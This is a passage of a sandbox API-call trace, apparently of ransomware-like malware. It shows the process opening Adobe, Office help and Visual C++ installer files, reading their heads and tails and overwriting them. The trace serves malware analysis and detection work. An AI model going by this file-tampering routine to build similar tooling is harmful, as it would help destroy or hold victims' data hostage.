dwSize=0x170000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ea50000 [0048.857] LocalFree (hMem=0x71aff8) returned 0x0 [0048.857] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.857] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0048.858] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0048.858] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0048.858] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe")) returned 0x20 [0049.058] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.059] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.059] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3d800 [0049.059] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.059] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.059] ReleaseMutex (hMutex=0x128) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrSecUpd10111.msp", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrSecUpd10111.msp", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdbeRdrSecUpd10111.msp", lpUsedDefaultChar=0x0) returned 22 [0049.060] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.062] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3c800 [0049.062] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.062] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3c800 [0049.063] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.063] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.063] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.063] CloseHandle (hObject=0x1ac) returned 1 [0049.063] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x158 [0049.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.064] ReleaseMutex (hMutex=0x128) returned 1 [0049.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSACCESS.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0049.064] ReadFile (in: hFile=0x1ac, lpBuffer=0x26357a8, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26357a8*, lpNumberOfBytesRead=0x2b0f2bc*=0x158, lpOverlapped=0x0) returned 1 [0049.065] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0049.065] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x6e0, lpOverlapped=0x0) returned 1 [0049.065] CloseHandle (hObject=0x1ac) returned 1 [0049.065] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.066] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.066] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x158 [0049.066] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.067] ReleaseMutex (hMutex=0x128) returned 1 [0049.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.POWERPNT.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0049.067] ReadFile (in: hFile=0x1ac, lpBuffer=0x26357a8, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26357a8*, lpNumberOfBytesRead=0x2b0f2bc*=0x158, lpOverlapped=0x0) returned 1 [0049.067] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0049.067] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x6e0, lpOverlapped=0x0) returned 1 [0049.068] CloseHandle (hObject=0x1ac) returned 1 [0049.068] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.069] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.069] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x152 [0049.069] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.069] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.069] ReleaseMutex (hMutex=0x128) returned 1 [0049.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINWORD.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0049.069] ReadFile (in: hFile=0x1ac, lpBuffer=0x253c818, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x2b0f2bc*=0x152, lpOverlapped=0x0) returned 1 [0049.070] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0049.070] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6da, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x6da, lpOverlapped=0x0) returned 1 [0049.070] CloseHandle (hObject=0x1ac) returned 1 [0049.070] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.073] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.073] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x25000 [0049.073] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.073] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.073] ReleaseMutex (hMutex=0x128) returned 1 [0049.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0049.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x64.msi", lpUsedDefaultChar=0x0) returned 28 [0049.073] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x24000 [0049.075] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x24000 [0049.076] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.076] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.076] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.076] CloseHandle (hObject=0x1ac) returned 1 [0049.076] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.077] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.077] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x23000 [0049.077] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.078] ReleaseMutex (hMutex=0x128) returned 1 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x64.msi", lpUsedDefaultChar=0x0) returned 28 [0049.078] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.079] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x22000 [0049.079] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.080] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x22000 [0049.080] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.080] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.080] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.081] CloseHandle (hObject=0x1ac) returned 1 [0049.081] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.084] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.084] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x25000 [0049.085] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.085] ReleaseMutex (hMutex=0x128) returned 1 [0049.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0049.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x64.msi", lpUsedDefaultChar=0x0) returned 25 [0049.085] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x24000 [0049.086] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.087] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x24000 [0049.087] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.088] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.088] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.088] CloseHandle (hObject=0x1ac) returned 1 [0049.089] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x23000 [0049.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.089] ReleaseMutex (hMutex=0x128) returned 1 [0049.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0049.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0049.089] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.091] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x22000 [0049.091] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.092] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x22000 [0049.092] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.110] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.110] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.110] CloseHandle (hObject=0x1ac) returned 1 